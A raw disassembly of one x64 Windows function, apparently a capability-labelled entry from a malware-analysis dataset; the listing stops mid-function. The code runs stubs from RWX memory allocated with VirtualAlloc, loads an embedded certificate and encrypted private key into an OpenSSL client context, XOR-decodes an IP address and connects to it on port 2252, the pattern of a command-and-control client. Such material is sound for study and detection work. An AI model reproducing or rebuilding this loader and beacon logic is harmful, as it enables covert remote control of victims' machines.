Function at 0x14008cd20
Capabilities:
Allocate or change rwx memory
Connect socket
Convert ip address from string
Encode data using xor
Execute shellcode via indirect call
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 8], rcx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
lea r12, [rbp + 0x128]
movabs r13, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r12
mov rdi, qword [r12]
xor rdi, r13
mov qword [rsp + 0x38], rdi
xor ebx, ebx
mov qword [r12], rbx
mov ecx, ebx
lea esi, [rbx + 3]
lea r15, [0x14009beb0]
lea r14, [0x140000000]
mov rax, qword [0x140244790]
test rax, rax
je 0x14008cdc9
mov edx, ebx
nop word [rax + rax]
cmp rax, r15
je 0x14008cdb8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x244790]
test rax, rax
jne 0x14008cda0
jmp 0x14008cdc9
mov r8, qword [r14 + rdx*8 + 0x245a80]
test r8, r8
jne 0x14008ceaf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14008cdf0
mov r8, rbx
jmp 0x14008ce8e
mov rax, r15
mov rcx, r8
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14008ce00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402450f0]
mov qword [r14 + rax*8 + 0x244790], r15
mov qword [r14 + rax*8 + 0x245a80], r8
inc rax
mov qword [0x1402450f0], rax
mov rcx, qword [sym.imp.KERNEL32.dll_AllocConsole]
call r8
nop
xor rdi, r13
mov qword [r12], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x130], eax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rsp + 0x38], rdi
mov qword [rax], rbx
mov ecx, ebx
lea r15, [0x14009bee0]
mov rax, qword [0x140246400]
test rax, rax
je 0x14008cf2d
mov rdx, rbx
cmp rax, r15
je 0x14008cf1c
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x246400]
test rax, rax
jne 0x14008cf04
jmp 0x14008cf2d
mov r8, qword [r14 + rdx*8 + 0x246720]
test r8, r8
jne 0x14008d00f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14008cf54
mov r8, rbx
jmp 0x14008cfee
mov rax, r15
mov rcx, r8
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14008cf60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245750]
mov qword [r14 + rax*8 + 0x246400], r15
mov qword [r14 + rax*8 + 0x246720], r8
inc rax
mov qword [0x140245750], rax
lea rdx, [rbp + 0x130]
mov rcx, qword [sym.imp.KERNEL32.dll_AttachConsole]
call r8
nop
lea r12, [rbp + 0x128]
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x38], rdi
mov qword [r12], rbx
mov ecx, ebx
lea r15, [0x14009bf10]
mov rax, qword [0x140245760]
test rax, rax
je 0x14008d07c
mov rdx, rbx
cmp rax, r15
je 0x14008d06b
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x245760]
test rax, rax
jne 0x14008d053
jmp 0x14008d07c
mov r8, qword [r14 + rdx*8 + 0x2460d0]
test r8, r8
jne 0x14008d15f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14008d0a3
mov r8, rbx
jmp 0x14008d13e
mov rax, r15
mov rcx, r8
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14008d0b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245420]
mov qword [r14 + rax*8 + 0x245760], r15
mov qword [r14 + rax*8 + 0x2460d0], r8
inc rax
mov qword [0x140245420], rax
lea rdx, str.loading
mov rcx, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call r8
nop
xor rdi, r13
mov qword [r12], rdi
mov ecx, 1
call fcn.1400c4b7c
mov qword [rbp + 0x130], rax
lea r12, [rbp + 0x128]
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r12
mov rdi, qword [r12]
xor rdi, r13
mov qword [rsp + 0x38], rdi
mov qword [r12], rbx
mov ecx, ebx
lea r15, [0x14009bf40]
mov rax, qword [0x140244ab0]
test rax, rax
je 0x14008d1eb
mov rdx, rbx
cmp rax, r15
je 0x14008d1da
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x244ab0]
test rax, rax
jne 0x14008d1c2
jmp 0x14008d1eb
mov r10, qword [r14 + rdx*8 + 0x244dd0]
test r10, r10
jne 0x14008d2cf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14008d212
mov r10, rbx
jmp 0x14008d2ae
mov rax, r15
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x14008d220
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245428]
mov qword [r14 + rax*8 + 0x244ab0], r15
mov qword [r14 + rax*8 + 0x244dd0], r10
inc rax
mov qword [0x140245428], rax
lea r9, [rbp + 0x130]
lea r8, [0x14013d708]
lea rdx, [0x14013d70c]
lea rcx, [0x1400d48ac]
call r10
nop
xor rdi, r13
mov qword [r12], rdi
call qword [sym.imp.libssl_3_x64.dll_TLS_client_method]
mov qword [0x1402440d0], rax
mov rcx, rax
call qword [sym.imp.libssl_3_x64.dll_SSL_CTX_new]
mov qword [0x1402440e8], rax
mov edx, 0x2020000
mov rcx, rax
call qword [sym.imp.libssl_3_x64.dll_SSL_CTX_set_options]
mov r15, qword [0x1402440e8]
test r15, r15
jne 0x14008d36b
movdqa xmm0, xmmword [0x14013e1b0]
movdqu xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x30], 1
lea eax, [rbx + 0x34]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0xf
jb 0x14008d340
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x20]
lea rcx, [0x140242520]
call fcn.14006cbd0
jmp 0x14008d473
mov dword [rsp + 0x20], 0x45454366
mov dword [rsp + 0x24], 0x7d0f7a52
mov dword [rsp + 0x28], 0x6d4c6a6c
mov word [rsp + 0x2c], 0x100
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x34]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0xc
jb 0x14008d390
mov byte [rsp + 0x2d], 0
call qword [sym.imp.libcrypto_3_x64.dll_BIO_s_mem]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new]
mov rsi, rax
lea rdx, str._____BEGIN_CERTIFICATE______r_nMIIDkDCCAngCFCoSY9gA8EnjCqbZmbJR9xU3wLQkMA0GCSqGSIb3DQEBCwUAMIGD_r_nMQswCQYDVQQGEwJFVTEPMA0GA1UECAwGVW5pdGVkMREwDwYDVQQHDAhOZXcgWW9y_r_nazEPMA0GA1UECgwGU2VydmVyMQ8wDQYDVQQLDAZTZXJ2ZXIxDzANBgNVBAMMBlNl_r_ncnZlcjEdMBsGCSqGSIb3DQEJARYOc2VydmVyQG1haWwucnUwHhcNMjMxMDE5MDY0_r_nNTUwWhcNMjQxMDE4MDY0NTUwWjCBhDELMAkGA1UEBhMCRVUxDzANBgNVBAgMBlVu_r_naXRlZDERMA8GA1UEBwwITmV3IFlvcmsxDzANBgNVBAoMBkNsaWVudDEPMA0GA1UE_r_nCwwGQ2xpZW50MQ8wDQYDVQQDDAZDbGllbnQxHjAcBgkqhkiG9w0BCQEWD2NsaWVu_r_ndEBtYWlsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbud_Y5_r_nJbHle4RWOp1fUGXhgMgHdXIWCLs4h6YgJLFUMhiCnW0RgU_ETNZgsRUw3VA3_r_n5DhIpNDWeodRx6jCMmAARWOL52FxMV4EY86Dq8BSJHEgICw6lyIyrjsY8yQJ28a_r_n082RfwLzWXm_e0s845aokte8GUnKgTb1_qgJj54jWDtD1z8M168xBRGkRBCvKSc_r_ngjsLrXgfiaBU6DfIEKtjCtG5e8m1qGrNk0J3yMCcs_2kIURF_nTpzHP9iaYDPdd_r_nT1SG1NRk2FkOxQZrHj4uoPR6Def6oRjm3_WSi5NDTm_PMQVfsJ_ZdA0srm_fqM_r_nDTUUP0ouieBZWBkCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAdyWin0ez_zPHCV_g_r_nHIak0AqK66gC0one9zJCVacIlFrBEPbpjr06lbuTn_oATrDjLSn7_gzUG72wEC_r_n0aYjxjtc9bmM0ibz31qUJvCe1Oj6cLnwiXDI_plWcOLXoX8U_ZEZJOb7U0P9fqC_r_nKPVCmYdkA5vT_r1OP9SDsOzICfXe_VbZRVPmIT_yRqmAL0WJuBahorehhTOtFHK_r_nnFp6FMw11AzqIEffQgKmloGZ5CQ3jz5vsf0uRZrwOJEYzs0VmDxpk85VdXQavM_r_nmq_Jrk_i4hwblF8xv3LtwHZ3c2mzJzb1nHOb9k6nukkORdgwbfH61nSn24tjJW_r_nUyujdw_r_n_____END_CERTIFICATE______r_n
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14008d3d0
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_BIO_write]
test eax, eax
je 0x14008d427
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_PEM_read_bio_X509]
mov r14, rax
test rax, rax
je 0x14008d41e
mov rdx, rax
mov rcx, r15
call qword [sym.imp.libssl_3_x64.dll_SSL_CTX_use_certificate]
mov rcx, r14
cmp eax, 1
je 0x14008d496
call qword [sym.imp.libcrypto_3_x64.dll_X509_free]
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free]
movdqa xmm0, xmmword [0x14013e1c0]
movdqu xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x30], 1
nop word [rax + rax]
lea eax, [rbx + 0x34]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0xf
jb 0x14008d440
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x30], 0
lea rcx, [0x140242520]
call fcn.14006cbd0
mov rcx, qword [0x1402440e8]
call qword [sym.imp.libssl_3_x64.dll_SSL_CTX_free]
xor al, al
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.libcrypto_3_x64.dll_X509_free]
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free]
call qword [sym.imp.libcrypto_3_x64.dll_BIO_s_mem]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new]
mov rsi, rax
lea rdx, str._____BEGIN_ENCRYPTED_PRIVATE_KEY______r_nMIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQI00Z1weEogvgCAggA_r_nMAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBAarGHyaBB62MO_uVnNAyZ1BIIE_r_n0Iz7PAr1f0rMj7RJIFRWy3_575_j8srgE6S6UXTkqwB4QghEpbRxQbBDnVfrDDn4_r_n3Vb8jw4jDNiEhQlgAN7vBkIS6bj7az7X_xnbO54z4JiffszAGDG7qY16fipgi4F_r_ngnRid6SWQGLegUWIOrzIuzfTLvoFU3vYIDL4YW4Q56MSLuLHS07cIlEXxf6Y5q_r_nDXO3bEOgERkwJfnCyzljzNwGKjcx2bSkzg7YbigsZRHBrDpDz8sLQHgx1CbAqa98_r_nIUt7eJVOK0_rRoktt7FKzkWamsFRdRLw3zfhF_gH98hI3nZwZQUpNVrZyDaUzJ7V_r_n3xzRMqJqW8G1z8us6_trwuueMH2LPWbTduK7L4zoRVszrvz4HfzriYd6lbpzDuo_r_n16SYliqeYp2n415P67pcxtvLZmjb8gfTjLVE0XQPvGp8F0R8H2cYtVk7EQIVhOD_r_nXUy7f0hL3wbhveHzQ29wPDAS9pY1fnoZl3HDzJfeLYvMbcGn2qOTSLJgtSwkMQM_r_nFx5RfaA49LMRJs3XPdPRO0Sp1FzxDoEwFJw_8s31SheTQpqSnCJTnETn1K5YNtU_r_nIVrwpmPAgCvTBuLrL0W7HSkJ1amrx4wbpvfZjEYMR8rtqwDzeSj49g71E5lo4_24_r_nddykWcVu9ylzGgT5BF4HrYYaYRqophl61eKuiBu7UurLs584M4oehWsBXtX7rT_r_nmo6ojXi_XxJ2dznzfptfwjA9Xg3jpKbcG9jo_y8_zUG9Fb1sfRbvm6wsFQWz9G_r_n9R4IUyIozb3I9UUEVF9vuQsGLbSOSp9n0njT85bY4VwklMBRdnrQY1vcf9NDhCOn_r_ntBfVMHHROeTiV78YmZtEUoFwLaYlr5iKdgp_hwqZtu16O_OFqwreLXLvn4o5Owr3_r_nYuSEskBkn4rMBrHDSTGcZrn2GurExuwxv4YUvPBJ0zm5Ip7LTr0lM0XrA0wVJH_r_nSkMY0j2IOZNp_Ig10HIRBubBY6Gh2OvctM07JX04ZMmqjTNJ919nAEqDbfAVEvD_r_n_dsZunHrAVCpLQV9vwIyscJhYXGnO21kG5p2h0_o6O8z1KVNME5J8avoHlRZaFwV_r_nIK6LkB27GY3yBG8OBghpsu4spnBdCaRin516dtc0Cvh85Nfb_rMbVvfMjZZDEFu_r_nOKiyh8XaWW7KTSpBQ1UGRrhmyfyMqYr6e71hE0ajIwQdYrB5_4crDn9F0hEFx2_r_n252cMF3VbUjMkUeoBXzbZKekn8vq2Vh8js5r5JfkYaAALgp3ClhYMfUHaj5oS_r_nOicBJl0nTI_1lznV8TeinQyouweY_IcVRNi5ZhcN_xTzkQcZ6rYvUowm47MUyvs6_r_nLFOwqimh4Qu999VPFQwgy153c1i3CqabQYDuJeuJW9gfFuHigFWUUR5Fhl7NfuOh_r_nwA1DbbqpIvcyoHIwFbHNvNb4jMU3_FckCt3WVkk7fwEYm2jNOKUvnMq_ckox0_r_n8Tiz34NQJWesXEiOqGv21D_llUUITW2g5tSrfCPgecUPAJzZd4_Lnh3Ocd_28snI_r_ny88TzXe3sFcCTKZrKH0cTd9b1XfRDWL1SsmVa4KSxpCpCwOR_dSnDBvpsfrFU6_r_nHKWKGd7RDNTw1X_iuBkhnC80I4l3SSqkEL4pYLEPEY_i_r_n_____END_ENCRYPTED_PRIVATE_KEY______r_n_____BEGIN_CERTIFICATE______r_nMIIEojCCA4qgAwIBAgIUcJHVwHfwY7TWymDx5XHULBEDN4wDQYJKoZIhvcNAQEL_r_nBQAwgYMxCzAJBgNVBAYTAkVVMQ8wDQYDVQQIDAZVbml0ZWQxETAPBgNVBAcMCE5l_r_ndyBZb3JrMQ8wDQYDVQQKDAZTZXJ2ZXIxDzANBgNVBAsMBlNlcnZlcjEPMA0GA1UE_r_nAwwGU2VydmVyMR0wGwYJKoZIhvcNAQkBFg5zZXJ2ZXJAbWFpbC5ydTAeFw0yMzEx_r_nMTkxMzIwNDlaFw0zMzExMTYxMzIwNDlaMIGDMQswCQYDVQQGEwJFVTEPMA0GA1UE_r_nCAwGVW5pdGVkMREwDwYDVQQHDAhOZXcgWW9yazEPMA0GA1UECgwGU2VydmVyMQ8w_r_nDQYDVQQLDAZTZXJ2ZXIxDzANBgNVBAMMBlNlcnZlcjEdMBsGCSqGSIb3DQEJARYO_r_nc2VydmVyQG1haWwucnUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCZ_r_nJqR9um1xGUpaAFIzLlYwU9whCYN4T4bvALiSPuC9QnwfO7xarbMD1VHj1wY9Bo_r_neuUX82TRQydgv7r02jyArCatvcNW0ozBgpp5Lvvq0FqMU4OJKo9DssqhG4kkr0D_r_nuodFjEdB5HktxIrjTYU3OdhkactqUmto3P4jzDnHNDD6zC9Ak_80UvOb1ZsfYy0_r_n8SOaknsvAwxAtsEoBXxYFypJuuSUfJAFm40dBGOeHovmnTvKUcofEIGXBlBR9L_r_nkJFisjGH0SSu3rPNp0ND1vcB5Sgl19AeDz01Bnq_RJOh22gO84Jg6ZDQtd_ClUPl_r_nz6PJ6Rakx91VzwRH03hAgMBAAGjggEKMIIBBjAPBgNVHRMBAf8EBTADAQH_MA4G_r_nA1UdDwEB_wQEAwIBBjAdBgNVHQ4EFgQUB9xX5IPx8R6oPBJ5OpEPluj9Q0wgcMG_r_nA1UdIwSBuzCBuIAUB9xX5IPx8R6oPBJ5OpEPluj9Q2hgYmkgYYwgYMxCzAJBgNV_r_nBAYTAkVVMQ8wDQYDVQQIDAZVbml0ZWQxETAPBgNVBAcMCE5ldyBZb3JrMQ8wDQYD_r_nVQQKDAZTZXJ2ZXIxDzANBgNVBAsMBlNlcnZlcjEPMA0GA1UEAwwGU2VydmVyMR0w_r_nGwYJKoZIhvcNAQkBFg5zZXJ2ZXJAbWFpbC5ydYIUcJHVwHfwY7TWymDx5XHULBE_r_nDN4wDQYJKoZIhvcNAQELBQADggEBAGZI_EesXYIHaDXVYTXoSfDuUoNBMcBowM9_r_nO20QVuAOJ5S5U9ijKaQvR5IKdtoMK_uiv2OWxm741id8eiap_2xd_oPafeX5lt_r_nrp9vwxF9E8Jm5m1gXOUZqD6KH4Q8JDo6exBvdlgadyS9A9q2jWIYtSVzfjssOCgl_r_ng8PyTkFhuc_ChQXxPGkhxc7IYcM2ITZYj_XMuwPEGsO52moDqElcQ9DKeb3UU5K_r_nQqljVZjyk45KDFRaBvet_cVm3XCRDKSQMLxwBXP8Tpv6Iy0eQ6pV08H7Dp2y_r_nwawnRA7KkA4ndjlpQsDnLq9u7xScRCwNC1S_5gUaEzlzcVg3zg_r_n_____END_CERTIFICATE______r_n
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x14008d4c1
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_BIO_write]
test eax, eax
je 0x14008d427
lea r9, [rsp + 0x20]
lea r8, [0x14008cc70]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_PEM_read_bio_PrivateKey]
mov r14, rax
test rax, rax
je 0x14008d41e
mov rdx, rax
mov rcx, r15
call qword [sym.imp.libssl_3_x64.dll_SSL_CTX_use_PrivateKey]
mov rcx, r14
cmp eax, 1
je 0x14008d51e
call qword [sym.imp.libcrypto_3_x64.dll_EVP_PKEY_free]
jmp 0x14008d41e
call qword [sym.imp.libcrypto_3_x64.dll_EVP_PKEY_free]
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free]
mov r14, qword [0x1402440e8]
call qword [sym.imp.libcrypto_3_x64.dll_BIO_s_mem]
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_BIO_new]
mov rsi, rax
lea rdx, [0x14015d200]
nop dword [rax]
inc rdi
cmp byte [rdx + rdi], 0
jne 0x14008d550
mov r8, rdi
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_BIO_write]
test eax, eax
je 0x14008d5b1
mov rcx, r14
call qword [sym.imp.libssl_3_x64.dll_SSL_CTX_get_cert_store]
mov r14, rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_PEM_read_bio_X509]
mov rdi, rax
test rax, rax
je 0x14008d5a8
mov rdx, rax
mov rcx, r14
call qword [sym.imp.libcrypto_3_x64.dll_X509_STORE_add_cert]
mov rcx, rdi
cmp eax, 1
je 0x14008d5e5
call qword [sym.imp.libcrypto_3_x64.dll_X509_free]
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free]
movdqa xmm0, xmmword [0x14013e1d0]
movdqu xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x30], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx + 0x34]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0xf
jb 0x14008d5d0
jmp 0x14008d450
call qword [sym.imp.libcrypto_3_x64.dll_X509_free]
mov rcx, rsi
call qword [sym.imp.libcrypto_3_x64.dll_BIO_free]
mov rcx, qword [0x1402440e8]
call qword [sym.imp.libssl_3_x64.dll_SSL_CTX_check_private_key]
test eax, eax
jne 0x14008d660
movdqa xmm0, xmmword [0x14013e1e0]
movdqu xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x30], 1
nop dword [rax + rax]
lea eax, [rbx + 0x34]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0xf
jb 0x14008d620
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x20]
lea rcx, [0x140242520]
call fcn.14006cbd0
mov ecx, 1
call fcn.1400c4b7c
mov rcx, rax
call qword [sym.imp.libcrypto_3_x64.dll_ERR_print_errors_fp]
mov al, 1
jmp 0x14008d475
mov ecx, 0x202
lea rdx, [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14008d6bf
mov dword [rsp + 0x20], 0x5c555a67
mov dword [rsp + 0x24], 0x49485c18
mov dword [rsp + 0x28], 0x9654f53
mov dword [rsp + 0x2c], 0x1004b1d
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx + 0x34]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0xe
jb 0x14008d6a0
mov byte [rsp + 0x2f], 0
lea rdx, [rsp + 0x20]
jmp 0x14008d45a
xor r8d, r8d
lea edx, [r8 + 1]
mov edi, 2
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov dword [0x1402440b4], eax
cmp eax, 0xffffffff
jne 0x14008d731
movdqa xmm0, xmmword [0x14013e1f0]
movdqu xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x30], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx + 0x34]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0xf
jb 0x14008d700
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x20]
lea rcx, [0x140242520]
call fcn.14006cbd0
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x14008d466
mov word [rsp + 0x50], di
mov ecx, 0x8cc
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x52], ax
mov dword [rsp + 0x20], 0x618060d
mov dword [rsp + 0x24], 0xa140c00
mov dword [rsp + 0x28], 0xe100b0a
mov dword [rsp + 0x2c], 0x1007474
mov rdx, rbx
nop dword [rax]
lea eax, [rdx + 0x34]
xor byte [rsp + rdx + 0x20], al
inc rdx
cmp rdx, 0xe
jb 0x14008d770
mov byte [rsp + 0x2f], 0
lea r8, [rsp + 0x54]
lea rdx, [rsp + 0x20]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 0xffffffff
jne 0x14008d7ee
movdqa xmm0, xmmword [0x14013e200]
movdqu xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x30], 1
nop
lea eax, [rbx + 0x34]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0xf
jb 0x14008d7b0
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x20]
lea rcx, [0x140242520]
call fcn.14006cbd0
movsxd rcx, dword [0x1402440b4]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x14008d466
movsxd rcx, dword [0x1402440b4]
mov r8d, 0x10
lea rdx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14008d832
movdqa xmm0, xmmword [str.gZUK]
movdqu xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x30], 1
nop
lea eax, [rbx + 0x34]
xor byte [rsp + rbx + 0x20], al
inc rbx
